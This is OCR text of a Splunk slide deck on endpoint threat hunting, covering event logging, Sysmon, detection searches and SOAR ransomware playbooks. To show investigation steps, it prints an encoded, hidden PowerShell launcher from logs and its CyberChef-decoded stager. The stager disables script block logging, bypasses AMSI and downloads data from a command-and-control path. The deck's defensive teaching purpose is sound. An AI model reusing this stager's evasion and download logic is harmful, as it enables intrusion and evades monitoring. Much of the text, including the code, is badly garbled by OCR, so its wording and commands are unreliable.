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Forward-
Looking
Statements

2.18.22-19:04

This presentation may contain forward-looking statements regarding future events, plans or the
expected financial performance of our company, including our expectations regarding our products,
technology, strategy, customers, markets, acquisitions and investments. These statements reflect
management’s current expectations, estimates and assumptions based on the information currently
available to us. These forward-looking statements are not guarantees of future performance and
involve significant risks, uncertainties and other factors that may cause our actual results,
performance or achievements to be materially different from results, performance or achievements
expressed or implied by the forward-looking statements contained in this presentation.

For additional information about factors that could cause actual results to differ materially from those
described in the forward-looking statements made in this presentation, please refer to our periodic
reports and other filings with the SEC, including the risk factors identified in our most recent quarterly
reports on Form 10-Q and annual reports on Form 10-K, copies of which may be obtained by visiting
the Splunk Investor Relations website at www.investors.splunk.com or the SEC's website at
www.sec.gov. The forward-looking statements made in this presentation are made as of the time and
date of this presentation. If reviewed after the initial presentation, even if made available by us, on our
website or otherwise, it may not contain current or accurate information. We disclaim any obligation to
update or revise any forward-looking statement based on new information, future events or otherwise,
except as required by applicable law.

In addition, any information about our roadmap outlines our general product direction and is subject to
change at any time without notice. It is for informational purposes only and shall not be incorporated
into any contract or other commitment. We undertake no obligation either to develop the features or
functionalities described, in beta or in preview (used interchangeably), or to include any such feature
or functionality in a future release.

Splunk, Splunk> and Turn Data Into Doing are trademarks and registered trademarks of Splunk Inc. in the United States and other countries. All other
brand names, product names or trademarks belong to their respective owners. © 2022 Splunk Inc. All rights reserved.
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Malware Trend in past few years -

Snake  Netwalker HelloKitty

Ragnar Locker Egregor Ragnarok  Vice Society
NetWalker Lockbit  DarkSide QBot
Nefilim Cuba ransomware Hive Snatch
Shadow Kill Hackers EvilCorp  Black Shadow Grief Lapsus$
REvil Defray Babuk Locker Everest
SamSam Ryuk LockerGoga TAS05 Darkside Babuk BlackMatter
Petya WannaCry Dharma RobbinHood DoppelPaymer Erkan Conti Avaddon BlackByte
Armada Collective HDDCryptor NotPetya BitPaymer IEncrypt Maze Clop Calix Astro AvosLocker

2016 2017 2018 2019 2020 2021 2022



Security Tools Cannot Protect You Alone

EDR Firewall SSO
IDS/IPS AppFW
IdM PAM
Anti-Virus
NPR SASE

Vulnerability NAC Secure
Scanner Gateway
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A Data-Centric,
Modern SIEM is the
Key to Achieving
Optimized Security
Operations and Cyber
Resmenc —
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Endpoint Log
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Data Sources for Endpoint Threat Hunting T —

FENER | Recommended |

Network Activity External Threat

Feeds

Host/User

Cloud/SAAS
Activities

Identity/Auth

Active Directory/ : ‘ :
Domain Controller Bl TR WIEYES ST CERTs, HoneyNets,
FS-ISAC, MISP or
Single Sign-on Web Gateway - other blacklists for
IPs/domains,
DHCP Firewall ‘ IDS, IPS, AV SECIGR I LI R
from commercial
. feeds
VPN Netflow, PCAP DLP, File Server/Host

Logs Zero Trust

_ Threat Intelligence

Splunk > turn data into doing’




Endpoint Data Collection

I B AER R i

» Basic » Intermediate » Advanced
*Windows Event logs *Sysmon (with TaySwift or Olaf *Splunk Stream
Sty config + Splunk Tweaks) *EDR products
- Set up command process auditing *Captures registry instead of *AppLocker
(4688) Splunk regmon
. *Windows Firewall
System *PowerShell
. S _ *WinPrintMon
Application *Module Logging s d
. °Native USB Auditin
*WindowsUpdatelLog (on *Script Block Logging ©

supported systems) *Osquery ( non-windows )

Collection via Windows Event Forwarding or Collection via
Splunk Universal Forwarder Splunk Apps



N
Windows Event Log

Process Command Line

Genersl | Detasts

[A new process has been crested. ~

sutpec | Only a fraction more data

Secunity ID: ADPERF admnistrator %
v —— i Most valuable thing to log

Process information:
New Process ID: Oudte
New Process Name: CAWIndows\System32\wsc
Token f:-‘m Type: TokenflevationTypeDefaul (1)

R e e T I WP o™, - . .
(R A e = = http://technet. microsoft.com/en-us/library/dn535776.aspx

Token Elevation Type indicates the type of token that was assigned 10 the new process
© with User Control policy

Logen 1Dy 022092 ‘

Log Name Security

Source Microsoft Windows security  Logged S/8/2013 40600 PM

Event ID: 2683 Task Category: Process Creation

Levek information Keywords Auvar Success

Usen WA Computer BLUE-FILES adpert contoro. com
OpCode nfo

More information:  [xent Log Online el

Additional context important to identify

[ copy | | Close .
abnormal behavior
. 4
_time host Account_Name Process_Command_Line New_Process_Name New_Process_ID Creator_Process_ID Short_Message
200150727 052733 Some Server Some Admin Powershell exe w2 '\ “\ \Powershell C\Windows\System32 Ox3a70 0x2118 A new process
SO - —maspsl \WindowsPowerShell has been created

\v1.0\powershell exe

Splunk > turn data into doing’
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Microsoft Sysmon

https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon

Sysmon Blogs
e https://www.splunk.com/en_us/blog/tips-and-tricks/monitoring-network-traffic-with-sysmon-and-splunk.html
e https://www.splunk.com/en_us/bloa/security/a-salacious-soliloquy-on-sysmon.html

Recommended Sysmon Configs

e https://github.com/SwiftOnSecurity/sysmon-config
e https://github.com/olafhartong/sysmon-modular

Splunkbase App & Add-on for Sysmon

e  Sysmon App for Splunk https://splunkbase.splunk.com/app/3544/
e  Splunk Add-on for Sysmon_https://splunkbase.splunk.com/app/5709/

Splunk > turn data into doing’


https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon
https://www.splunk.com/en_us/blog/tips-and-tricks/monitoring-network-traffic-with-sysmon-and-splunk.html
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https://github.com/SwiftOnSecurity/sysmon-config
https://github.com/olafhartong/sysmon-modular
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Sysmon Log

Interesting |IOC : CommandLine, Command Parameters , File Name, MD5 hash

Type Y Field Value Actions
Selected v CommandLine v "C:\windows\temp\hdoor.exe'}-hbs 192.168.91-192.168.9.50 v
/o/m/n

v CurrentDirectory v C:\windows\temp\ v

v EventCode v D v

v EventDescription v Process Create v

v Image~ C:\Windows\Temp\hdoor.exe . 4

v MDS5~ 586EF56F4D8963DD546163AC31C865D7 v

v ParentCommandLine v "C:\Windows\System32\WindowsPowerShell\w1.0\powershe v

IL.exe® -NoP -Nonl -W Hidden -enc SQBmACgAJABQAFMA
VgBFAHIAUwWBJAG8AbgBUAGEAYgBsAEUALgBQAFMAVg
BIAFIAUWBJAG8AbgAUAEOAQQBKAESAUgAgACOAZWBF
ACAAMWApPAHSAJABHAFAARgASAFsAcgBFAGYAXQAUA
EEAUWBTAGUAbQBCAGWAWQAUAECARQBUAFQAeQBQ
AEUAKAANAFMAeQBzAHQAZQBIAC4ATQBhAG4AYQBNA
GUAbQBIAG4AdAAUAEEAJQBOAGBADQBhAHQAaQBVAG
4ALgBVAHQAaQBSAHMAJWAPAC4AIgBHAGUAVABGAEK

1k > turn data into doing
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EDR

https://splunkbase.splunk.com

Protection

Web Proxy

Whitelisting

BLUE COAT
i,‘;@cmdSecuritg

N
\CROWDSTRIKE

W cyunNCcE

)
Integrity @ Fi re Eye

Management

GUIDANCE

& OsSEC
{h sentinelOne

222222222222222

ff_-'f‘ NETWITNESS

S TANIUM
tripwire.
websense

ziften
~
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Splunking
Endpoint

Threat Hunting Endpoint Log
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Endpoint Detection Rules
iR B B A R

splunk Apps ¥ A adminv  Messagesv  Settings¥  Activityv  Helpv | Find

Home Security Content v Analytics Advisor v Security Operations ¥ Datav Advanced v Documentation v Setup v Configuration

/ ] Splunk Security Essentials

Security Content

What's New In 3.5.0? Manage Bookmarks R Export £

» o How can you map this content to Splunk's Security Journey, and make your environment more secure?

Learn how to use this page 2

Search Filters

enter search here... Examples # Edit 1048 Total | 494 Filtered Clear Default Share
Journey Category Data Sources Data Source Category ATT&CK Technique ATT&CK Threat Groups

All selected (6) v All v Endpoint Detection an... v All v All v All v

Endpoint Detection and Response (494 matches)
Stage 1: Collection [2

YYou have the data onboard, what do you do first?

Creation Of Shadow
Copy With Wmic And
Powershell

This search detects the use of
wmic and Powershell to create
shadow copy.

)

Stage 2: Normalization [2

Disabled Update
Service

Splunk can detect the status of
services, allowing us to find
hosts where the Windows
Update service is disabled.

Searches Included
Disabling Security Tools

. First Time USB Usage

Find systems the first time they
generate Windows Event ID
20001, which for some custome
occurs when a USB drive is
plugged in.

Searches Included

You've applied Common Information Model, opening you to detections shared from others, and premium apps.

Remote PowerShell
Launches

It's unusual for new users to
remotely launch PowerShell on
another system. This will track the
first time per user + host
combination that powershel is
remotely started.

Searches Included

Remote Services

nto doing’



0+ MITRE ATT&CK Tactics
2 {E{R A Rhi

MITRE ATT&CK Matrix Chart View Radar View Sankey View Security Journey View

Color by MITRE ATT&CK Threat Group MITRE ATT&CK Software MITRE ATT&CK Matrix Platform  Highlight Data Source Filter

Content (Total) v None X None v Enterprise X Endpoint Detection and ... X None v

MITRE ATT&CK Matrix

I Content (Total) 1 Highlighted Data Source
Resource
$ s Initial Access + B : Privilege Escalation + Defense Evasion + Credential Access + Discovery = Lateral Movement * Collection +

i

Active Scanning

[ |
Acquire Infrastructure H Adversary-in-the-Middle

Exploitation of Remote Services  Adversary-in-the-Middle E

Ll

Gather Victin Host Infornation | Cospronise Accounts Container;Adulplatration BITS Jobs Access Token Manipulation ‘ Access Token Manipulation [ | #plication window Discovery Internal Spearphishing Archive Collected Data |
& 4 i
0 m
St Ve Tty Compronise Infrastructure ﬂ External Remote Services Deploy Contatner | b. BITS Jobs ESELN%. (7o Eammeed Browser Booknark Discovery Lateral Taol Transfer Audio Capture
Gather Victim Network g Exploitation for Client Boot or Logon Initialization ||| Boot or Logon Initialization || o Exploitation for Credential Remote Service Session
S, ﬁ Develop Capabilities it iits K  inte li] Build Inage on Host s Cloud Infrastructure Discovery Hijacking Autonated Collection
I
Gather Victim Org Information E& Establish Accounts Inter-Process Communication g‘é Browser Extensions ﬂ Deobfuscate/Decode Files or Information Forced Authentication Cloud Service Dashboard Browser Session Hijacking
i
Phishing for Infornation E Obtain Capabilities opLizatiey The sl esoacly Native 4P Cospcoklas client Softare Dosatn Policy Modification Forge Web Credentials E Cloud Service Discovery BepLication THroleh Ssmoiable Clipboard data
Search Closed Sources ﬂ Stage Capabilities ﬁ Supply Chatn Compronise Escape to Host Input Capture a Cloud Storage Object Discovery Software Deployment Tools Data Staged v
Process Injection
search Open Technical Damﬁssug Trusted Relationship Shared Modules Modify Authentication Process B Contatner and Resource Discovery Taint Shared Content Data from Cloud Storage Object
Content i .. o %
serchtpn e ] Softare Deployment Tools : Network oiing Dt fron Coeflgiration
- Active:

Search Victin-Oaned Websites

Hijack Execution Flo

7
Available: Fis Ly Sl
] | .
m Hijack Execution Flow Needs Data: Steal Application Access Token Group Policy Discovery Data from Local Systen

Total:
Bookmarked:
Nodify Authentication Process Eﬂ Selected Data Metwork Share Discovery

Inplant Internal Inage Steal Web Session Cookie

Scanning. J Data fron Network Shared Drive

Source: Tuo-Factor Authentication

Office Application Startup Interception

Network Sniffing

© 2022 SPLUNK INC.
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Use Case #1 - Command Length

AVERAGE PROCESS COMMAND LINE LENGTH

eTaor eTiorel eTudorel

| CurrentValue : 124 | [ CurrentValue : 450 ) CurrentValue : 112
CURRENT EVENT AN
BASELINE
Average :230 Average : 185 Average : 124

Standard Dev : 80 Standard Dev : 23 Standard Dev : 47

aboo bl
= B K

we8106desk

B

we8106desk

Calculating Command Length Anomaly

Command Length Average : 230
fx THRESHOLD
Command Length Stdev : 80
Anomalies

§ 320

é 250 I 102.498361
§
£ I |

10:50 AM 11:00 AM 11:10 AM 11:20 AM u

Wed Aug 24
2016

https://www.splunk.com/en_us/resources/videos/splunk-for-security-investigation-ransomware.html

Splunk S turn data into doing



Machine Learning for Anomaly Detection
w IR

Splunk > App: € ty Online Exper.. v splunk v Messages v Settings v Activity v Help v Find

Detection v Prevention v

Security Online Experience : Endpoint

. New Search S ads s
All time v Q

sourcetype=xmlwineventlog:microsoft-windows-sysmon/operational EventCode=1

eval cmdlen=len(CommandLine)

eventstats avg(cmdlen) avg, stdev(cmdlen) stdev host

stats max(cmdlen) maxlen, values(avg) avgperhost, values(stdev) stdevperhost host, CommandLine
eval threshold = avgperhost + ( 4 * stdevperhost )

where maxlen > threshold I

v
379 events (before 7/26/17 6:50:10.000 AM)  No Event Sampling v ¢ » & 8 Verbose Mod
Events (379) Statistics (1) Visualization k S P =
{ Current CommandLine Length Threshold Value
/ review v 4490 1166
host / CommandLine maxien avgperhost stdevperhost threshold

)P“'" 1 > turn datainto doing’
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Use Case #2 — Investigate Attack Technique
£ H BB F %

Type

Selected

SIS IS IS IS

Event Actions v

Field

Account_Name ¥

ComputerName v
EventLog v
EventCode v
EventDescription v

Process_Command_Line v

Value Actions
BudStoll -
- -
BSTOLL-L froth.ly v
Security v
4688 v
A new process has been created. v

"C.“\Wlndows\SystemSZ\WmdowsPowerShell\v‘l.(ipowershell.exe" I)owershell -noP -sta -w v
-enc pQBmACgAJABQAFMAVgBIAFIAcwBpAES8ATgBUAEEAYgBMAEUALgBQAFMAVgGBF
AHIAUWBJAGSATgAUAEOAYQBGAESB8AUgAgACOAZWBIACAAMWAPAHSAJABHAFAARGAS
AFsAcgBFAEYAXQAUAEEAUWBzZAGUATQBCAGwAeQAUAECARQBUAFQAWQBQAGUAKA
AnAFMAeQBzAHQAZQBIAC4ATQBhAGAAYQBNAGUALQBIAGAAJAAUAEEAJQBOAGEAD

Splunk > turn data into doing’
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Download CyberChef ! Last bulid: 2 months ego - v8 supports multipda inputs and a Node AP allowing you 10 program with CyberChet! Options o Apout [ Support o
Operations Recipe O E  nput o + D38 =
lower From Base84 & n SOBRACQAJABOAFMAVBLAF IACWEPAESATQBUAEEAYQBMAEUALQBOAFMAVGBFAHIAUNBIAGBATgAUAEBAYQBQAESAUGAQACHAZWE LACAAMWADAH
SAJABHAFAARGASAFSACGBFAEYAXQAUAEEAUWB ZAGUATOBCAGWAEQAUAECARQBUAFQAWDBOAGUAKAANAFNALQBZAHQAZQBLACAATOBhAGAAYQBN |
To Lower case ARhobet AGIADAA QB (BnAHQA(BVAGAALOBYAHOASNBSAHMA JWAPACAAL gBHAGUAVABGAE KARQBQAGWAZAALACGAIWE ] AGEAYW
A-Za-z@-04/= v BoAGUAZABKAHIAMBlN(AMJABVAmOM AHKAUWB LAHQADABPAGEAZWBZACCALAARAEAAIWAr ACCALWBUAFAAD(B i AGWAAQB jACWAUWBOAGEA
Borypt JWAPADSASQ A, AHSAJABHAFAAOWAIACOARNBOAEYALG! AT AAKAEAAVOBSAGWAKOATAE |
kARgAuACOAMOAI’MAMnAFNAYvAyMkArABGAE‘MJuArACcAhABvA(ﬂAuNMAGRA?’anAGkAqunAC:AXOAnAMsAJABNAFAAOuBhACcAMJ
Gk omgs Remove non-alphabet chars AHIAZOBMAHOAQGANACSAIWBSAGBAYWBAEWADWBNAGCAIQBUAGCAINBAAFSAJWBFAGIAYQBLAGAAZOBTAGNACGBOAHAADABCACCAKWANAGHADN
BIAGSATABVAGCAZWBPAGAAZWANAFBAPQAWAD SAJABHAF AAQWBDACCALWE ] AHT A (B gAnACSAD Yuw8 rAEwAbhw BuAGCA
Ealonene IwBAAFSAIWBFAGIAY QB LAGWAZQBTAGNACGBRAHAADABCAGWALWE  AG: AbwBJ AGES P QBMNAGBAZWBNAGKADGBNACCAXQASAD
To Lower case Sn AATOAKAFYAYOEN BOAESAD, 9 ToBLAFIAR0B) ACSARABDAENADABDAESADQBBAF TAKOBbAFMACABS
Oacods fat AEKATOBNACWAUWBSAFMAVABFAERALGBPAETASQBFAGHAVABAAFBADGAGAESAZQBEIACGAKQATACQADGENAGWALYI AOACCARQBUAGEAYY
Regular expression Qn BSAGUAUWE JAHIASOBY Qg sAJ YwB rAEwADWBNAGCABNBUAGCAIWA QATACQAVY! AL ZAAOACCAROBUAGEA
YQBSAGUAUWE JAHTAZQBWAHQAQYBSAGBAYWE rAEKADGB2AGEAYWBHAHQABOBYAGIATABVAGCAZWBPAGIAZWANACWANAADAD S AJABHAF AAQWBLAC
SErode et S0 regexts CASABLAEUAWOBS AEWATWEDAE EATAS fAE6AQUBDAEQAS QBOAE UAXABTAGEAZGBOAHCAY UBYAGUA N Q81 wBy
User defined AGBA AGABCAFCA duwB 1AHTAUNBOAGUABABSAFWAUWE | AHTAsQBWAHQAQgANAC S AJWB SAGBAYWE rAEwAbw
Fletcher-16 Checksum BNAGCAZ0BUAGCAIWBIADRAIAB2AEEAT) JAeWBDAFMAYWBYAEKACABRAE LABABPAEMASWEAACAAT ! dABGAGKAZOBGAEWA
RAAIACOAIWBZAGKAZWBUAGEAdARIANTAZ(BZACCALAANAEAA WA rACCADWBUAFAAGDB IAGWAR)E ] ACWALWEBAGEAdABDAGHAIWAPACSALIWBLAF
Flgtcher-32 Checksum Regex QAVQBRAEWAVOBFACGAIABOAFUABABMACWAKABOAGUAAWALAEBAQQBAAGUAYWBUACAAGWBPAEWATAF JAEBADGBZACAARWBFAGAAZOBS
AEKAYWAUAEQAYOBTAEGAUWE LAMGAWWE TAFQACGBPAGAARWBAACKAKOBIACOAUGBFAEYAPOBLAF TARQEMAFGALgBBANNACWEFAGOANGBMAHKALY
Fletcher-64 Checksum BHAGUAGABUAHKACABFACGATWETAHKACWBAAGUADQAUAESAYQBUAGEAZWE LAGBAZOBUAHOALGBR GAAYQ BUACAAQQBLAHMA
4 a0s AHMAJWAPADSAJABS, QAUAECAZOBUAEYASOBIAGHARAADACCAYDBTAHMADOBIAGAAQERAEYAY(BRAGWAZOBKACCALAANAE
Fletcher-8 Checksum Xana$ oatchiat 4AhnBuAFMﬂDBXA(mAM)8]ACwAuMAﬁEMABpAGHAJ-:ApACdAM1AHOAVgBM(‘mMOBlACgAJABuAFuATABsAC\MJABaAFIMQBIACkAmBQ
e 4 case insensitive .newlines [ Dot matches all e = s S eeiei—— = f— ==n
ncoding Brute Force ' £
9 Output ez @ O G H
To Camel case D Unicode support D Astral support D Display total if(spsversiontable.psversion.major -ge 3){3gpf=
[ref].assembly.gettype{'system.management.autonation.utils")."getfie’ Ld"
To Kebab case ('cachedgrouppolicysettings', 'n'+'onpublic, static”);if(Sgpf)
Detpen ot {sopc=sgpf.getvalue($null); 11{$gpc('scripth’+* locklogging' ] ){$gpcl’scripth'+' locklogging')
To Snake case Highlight matches {*cnablescriptb'+' locklogging'1=8;$gpc [ 'scripth’+'locklogging' ] ['enablescriptblockinvocationlogging’ 1=0}3val=
[collections.generic.dictionary[string,systen.object]): :new();sval.add('enablescriptd'+' lacklogging®,0);sval.a |
Favourites * dd( *enablescriptblockinvocationlogging',@);$gpci*hkey_local_nachine\software\policies\microsoft\windows\powers
fhetlscriptb'+' locklogging ' J=$vallelse{[scriptblock]."getfie" 1d"
Data format (*signatures', 'n'+'onpublic, static').setvalue($null, (new-object collections.generic.hashset([string]l))}sref=
[refl.assenbly. gettype(' system.managerent . automat ion. ansiutils');$ref.getfield{ 'amsiinitfailed’, 'nonpublic,sta
Encryption / Encoding tic').setvalue($null, $true);}; [system.net.servicepointmanager] : :expect1@@continue=4@; $wc=new-object
systen.net.webclient; $u="mozilla/5.@ (windows nt 6.1; wowbd; trident/7.9; rv:11.8) like gecko';
Public Key [systen.net.servicepointmanager]::servercertificatevalidationcallback = {$true};$wc.headers.add( ‘user-
agent ', $u); $we, headers. add{ 'user-agent ', $u) ; Swe.proxy=
Arithmetic / Logle [systen.net.webrequest] : :defaultwebproxy;$wc.proxy.credentials =
Isysten.net,credentialcache] : :defaultnetworkcredentials; $script:proxy = $wc.proxy; $k=
Networking [systen.text.encoding]::ascii.getbytes( ' lab<yk6z4N+vvukoS}BEn-Oul~L|>Bgp' ) $r={$d, $k=3args;$s=0..255;0..255|%
{Sju($iess$_1+Sk[$_B$k. count])%256;$513_1,9515j1e851571,85IS_11; $d|D{$1e{$1+1)%256; $he
Language (sh+ss (53] )%256;8s[$1],$s [sh]=$s[3h],3s(5i);3 -
bxorss($s[$1]+$s[$h]1%256]}};$ser=3( [text.encoding]::unicode.getstring( [convert]::fr 4string(‘aabdah
Utils STEP m bzadoal d d d Badna’)) ) ;St="/ednin/get.php'; $we.headers.add("cookie", "p(ha
Auto Bake $data=$wc.downloaddata(sser«$t); $1v=¢datal@..3];$data=4datal4..3data. length

turn data into doing’
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'hkey_local_machine\software\policies\microsoft\windows\powershell\scriptb'

'mozilla/5.0 (windows nt 6.1; wow64; trident/7.0; rv:11.0) like
gecko' .

‘aab0ahgacabz
adoalwavadganqauadcanwauaduamwauadeanwa2adoanaaladma’
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. start: 64 1 . 129
Recipe BB F input i b + O3] § =
aABOAHQACABzADOALWAVADQANQAUAD cANWAUADUAMWAUADEANWAZ2ADOANAAGADMA
From Base64 O n
Alphabet -
A-Za-z0-9+/=

Remove non-alphabet chars
start: 48 time: @ms

Output end: 48 length: 48 [ lt] [£] e 52

length: @ lines: 1
hetotepeSete/e/e8:5:00e7:700:5:3:..1.7.6.:.4.4.3.

Auto Bake

STEP & BAKE!
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Use Case #3 — Locate IOC & Spread Investigatioﬁ '
£ H AT #4838 i 1% B

index=main sourcetype="xmlwineventlog:microsoft-windows-sysmon/operational" EventCode=11

v 1event (8/2/19 8:00:00.000 AM to 4/17/20 8:40:02.000 PM)

No Event Sampling v

pdf powershell All time »

Job ¥ ?® Smart Mode ¥

Events (1) Patterns Statistics Visualization

Format Timeline v —Zoom Out Timonthyper-colurmn
| i

I i

{ Il

List v ~# Format 20 Per Page ¥
< Hide Fields i= All Fields i Time Event
SELEGTEDFIELDS > 8/2/19 <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Window
hosk T 8:02:48.000 AM s-Sysmon' Guid='{5770385F-C22A-43EQ-BF4C-06F5698FFBD9}'/><EventID>11</EventID><Version>2</Version><Level>4</L
o

4 i s . evel><Task>11</Task><0Opcode>0</0Opcode><Keywords>0x8000000000000000</Keywords><TimeCreated SystemTime='2019-08
SNEGR 1 -02T08:02:48.957636000Z' /><EventRecordID>50780</EventRecordID><Correlation/><Execution ProcessID='3700' Threa
a source

a sourcetype 1

INTERESTING FIELDS

dID="3020'/><Channel>Microsoft-Windows-Sysmon/Operational</Channel><Computer>AGRADY-L.froth.ly</Computer><Sec
urity UserID='S-1-5-18'/></System><EventData><Data Name='RuleName'>technique_id=T1044,technique_name=File Sys
tem Permissions Weakness</Data><Data Name='UtcTime'>2019-08-02 08:02:48.956</Data><Data Name='ProcessGuid'>{E
BF7A186-1E16-5D42-0000-0010E4F17000}</Data><Data N‘ﬂle='ProcessId'>5856</Data><Data Na_me='Ima§e'>C:\Windows\Sy

aapp 1
a Computer 1

a CreationUtcTime 1

stem32\WindowsPowerShell\v1.0\powershell.exe</Data><Data Name='TargetFilename'>C:\Windows\Temp\2019-BrewCon-S
essions.pdf</Data><Data Name='CreationUtcTime'>2019-08-02 08:02:48.956</Data></EventData></Event>

a dest 1
a dest_asset_id 1
a dest_asset_tag 3

Image = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | host= AGRADY-L
source = WinEventLog:Microsoft-Windows-Sysmon/Operational

sourcetype = XmIWinEventLog:Microsoft-Windows-Sysmon/Operational

ng’
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index=mainf2019-BrewCon-Sessions.pdf |sourcetype="WinEventLog:Microsoft-Windows-Powershell/Operational" All time ¥ n
v 13 events (8/2/19 8:00:00.000 AM to 4/17/20 9:02:49.000 PM)  No Event Sampling ¥ Job ¥ » & L ® Smart Mode ¥
Events (13) Patterns Statistics Visualization

Format Timeline v — Zoom Out A RS S s

host X
2 Values, 100% of events Selected | Yes No
< Hide Fields = All Fields
Reports
SELECTED FIELDS
Top values Top values by time Rare values
a host 2
a source 1 Events with this field
a sourcetype 1
Values Count %
INTERESTING FIELDS AGRADY-L 9 69.231% -
4 SOmpLiEINaR: 2 JWORTOSKI-L 4 30.769% ]
# EventCode 2

# EventType 3

CidTyuna—0
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Splunk SIEM

Enterprise Security

Splunk S turn data into doing




Visualize the relationship

R

1t fEL b

Risk Attribution Timeline
ESCU - Suspicious wevtutil Usage
Remote Desktop Protocol
Remote Desktop Protocol
Suspicious Service or Registry Change Detected By WTD
‘Command and Control Activity Detected By WTD
Malware Detected By WTD
Malware Detected By WTD
Malware Detected By WTD
16:00 20:00 00:00
Sat 3 August

08:00 12:00

Fri 2 August

04:00

08:00

Grant SendAs or FullAccess Permissions in 0365
Access Additional Cloud Credentials in Azure

Add User to Administrator Group in Azure

12:00

16:00

00:00
Sun 4 Aug|

20:00

% LS [escces)
bstoll-l  fmaltekesko-|

«ogravity

sd -p 2 *.ini *.exe

* tar

| </~

sd ? 2".In| ".exe *ta...
%

g
3

[
L %
| RN NS

v‘» 4 r ] 1 %
k <£> K <f> <[> </>f

<[>

2 chwindows\templ....
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Splunk SOAR

aka Phantom

Splunk S turn data into doing
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Automated Investigation & Response

Security Orchestration Automation and Response

Playbooks
SECURITY Ransomware Investigate and Contain
Playbook: Detect, Block, Contain, and
Remediate Ransomware
U Certifie « Jan 25,2021 . Category: Use Cases

This playbook investigates and contains ransomware detected on endpoints.

» 9 Actions

Supported Via

o s | Carbon Black. @8 Exchange

@ ansomware is one the leading threats facing organizations today. With volumes of malicious
R inbound emails and already infected devices within your environment, regaining control over
@ ransomware can be tedious and time consuming.

ransomware_investigate_and_contain

The Phantom security automation and orchestration platform can help you investigate, block, and
contain ransomware threats. The platform with an expanded Ransomware playbook could also automate
the remediation of infected devices. Deal with the volume of ransomware threats you face by using the
Phantom platform to scale your investigations and response to meet the challenge.

[coce ] [ -}
2 blockip 1 ) > terminateprocess  p—
[ -} [cow -]

g bocbans ) [.1 O\

https://www.splunk.com/en_us/blog/security/playbook-
ransomware-detect-block-contain-and-remediate.html




RansomWare Investigate & Contain Playbook

splunk>phantom ransomware_investigate_and_contain

Block IP
T 7 Kill Process

blockip 1

Detonate P

File block hash 3 Quarantine

Hunt File

block hash 4

Disable User
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(<]
29
( )

“*Splunk® SOAR Playbook

splunk>phantom 1002_0365_Allowed_Phish Python Version: 2.7  Repo: phantom_playbooks_prod PLAYBOOK SETTINGS [l

3\ Runs On: 0365 phish events from

/> cusrourmcnon (B N Splunk® ES
Ry —E€ YV ¢ 3 Q> parse Recipients )

High-Level Summary: Fetches emails

from user mailboxes, searches Splunk
» :m':am : 74 o oo ur_Sprk MD logs for other potentially impacted users
! through Proxy logs

Q mwesTGATE | {) oraar Q swesneaTe () Foraar

4 GetBxchange D Archive P < St_ID_Archiw H >4 Format_splunk URL »—>4 Run_spiunk URL 33— Format splunk Resuits

Saves 15 mins investigating
m— J= : R per ticket, 100+ executions per
o [T y—— : sv.0 b NSRS R < o month
Savings: 25 hours per month
L + extended visibility of other
impacted staff

1) rormar

Format_Phish_Filename

Splunk > turn data into doing
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0036_Domain_IP_Enrichment Python Version: 27  Repo: phantom_playbooks_prod PLAYBOOK SETTINGS R \ Runs On; A” events W|th a URL or |P
artifact

</> custom Funcron (2T

QY Y A s g iy — High-Level Summary: Checks against
VT, DNS, MaxMind, urlscan, McAfee
for relevant details

Q INVESTIGATE Q INVESTIGATE Q INVESTIGATE Q INVESTIGATE

[ | Expanse_Domain < >4 ons_pomain >4 Mcafee_Domain »—>4 Liscan_pomain >4 VirusTotal_bomain

Saves 25 mins investigating

Qpersenavre , & e & i QT per ticket, 50+ executions per
€ expanse_ip < = >4 onsp >4 vaxmind_P >—>4 Liscan_p >4 ViusTotal P
month

Savings: 20.8 hours per
month

<[> custom FuncTion 2 ceneric

9 ,
>4 Join_And_Format_com S 23— agdworknote

Splunk > turn data into doing
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([AY

SI. splunk Phantom Integration Work notes » 07/04/2022 10:29:14 @ After URL reputation analysis from
different sources, SOAR updates the
A Recond: 142,250 10,196 output in ServiceNow for analyst to

Category: Search Engines
Risk Score: 1 (Minimal Risk)
- hi

fecan Teec273-£956-4bc9-8247-36cce6d16d54.png action further

Domain: amazon.com

Domain: www.google.com

ARecord: 54.239.28.85

Category: Online Shopping

Risk Score: 1 (Minimal Risk)

Screenshot: https://urlscan.io/screenshots/4fe20521-a5f6-42a0-bb90-ea2cfa825210.png

Domain: u25470467.ct.sendgrid.net / \
ARecord: 167.89.118.35

Category: Internet Services

:Z::::r:;:orfz;::e/;:irﬁan.w/xreenshou/51ae71aeusz4&2-3692-1d4355e67a0apng Saves 15 mins |nVeSt|gat|ng
1P152219.10659 per ticket, 40+ executions per
Host Nome: s3.u5-¢ast 2amazonaws.com. month

Geo Location: Country: United States, State: Ohio, City: Columbus,
Screenshot: https://urlscan.io/screenshots/b81eald3-a9e5-44fb-a3eb-e563e5a9b721.png.
Positive Scans from Possible C2 Beacons: 58

1L Savings: 10 hours per month

Host Name: one.one.one.one.
Geo Location: Country: Australia, State: Victoria, City: Research,

Screenshot: https://urlscan.io/screenshots/1fa44203-715f-4fda-811c-5¢5f41422285.png
Positive Scans from Possible C2 Beacons: 59

IP:8.8.8.8
Host Name: dns.google.
Geo Location: Country: United States,
: h riscan.iof: 50bc6ef1-Oebe-46da-b901-28973c83a52b.png
Positive Scans from Possible C2 Beacons: 58

Time Savings Cost savings Very satisfied

Splunk > turn data into doing’



© 2022 SPLUNK INC

Splunk > turn data into doing’




© 2022 SPLUNK INC.

The SecOps Journey

Splunk can meet you wherever you are - Security

‘Nerve Center

- Mission Control, SSE,
' ES, Phantom, UBA

-Automation
. Mission Control, SSE,
: ES, Phantom
-Continuous
‘Monitoring
: Mission Control,
. . . . SSE, Splunk
Zsecu"ty Logglng - Enterprise Security
' & Investigation - (ES)
" Splunk Enterprise / .
. Splunk Cloud

Stage



SecOps Journey - CyberSecurity Content

Continuous Improvement

B inofficia website of the United Sttes government  bere's hony you knotw

splunk> SURGE e ssoutn

CYBERSECURTY (1)

Defending Against the ${indi:ldap
Log4Shell Vulnerability

& INFRASTRUCTURE m_‘
SECURITY AGENCY !

Use Splunk to take action and
proactively hunt for LogdShell
behaviors

Q

Get Resources »

1 INFRASTRUCTURE EMERGENCY
) SECURITY {/1%¢ COMMUNICATIONS

5% creRsecuRTY

Review of the December

CYBERSECURITY 2021 Log4j Event

CISA leads the Nation’s strategic and unified work to strengthen thg
ecosystem to protect critical services and American way of life. et

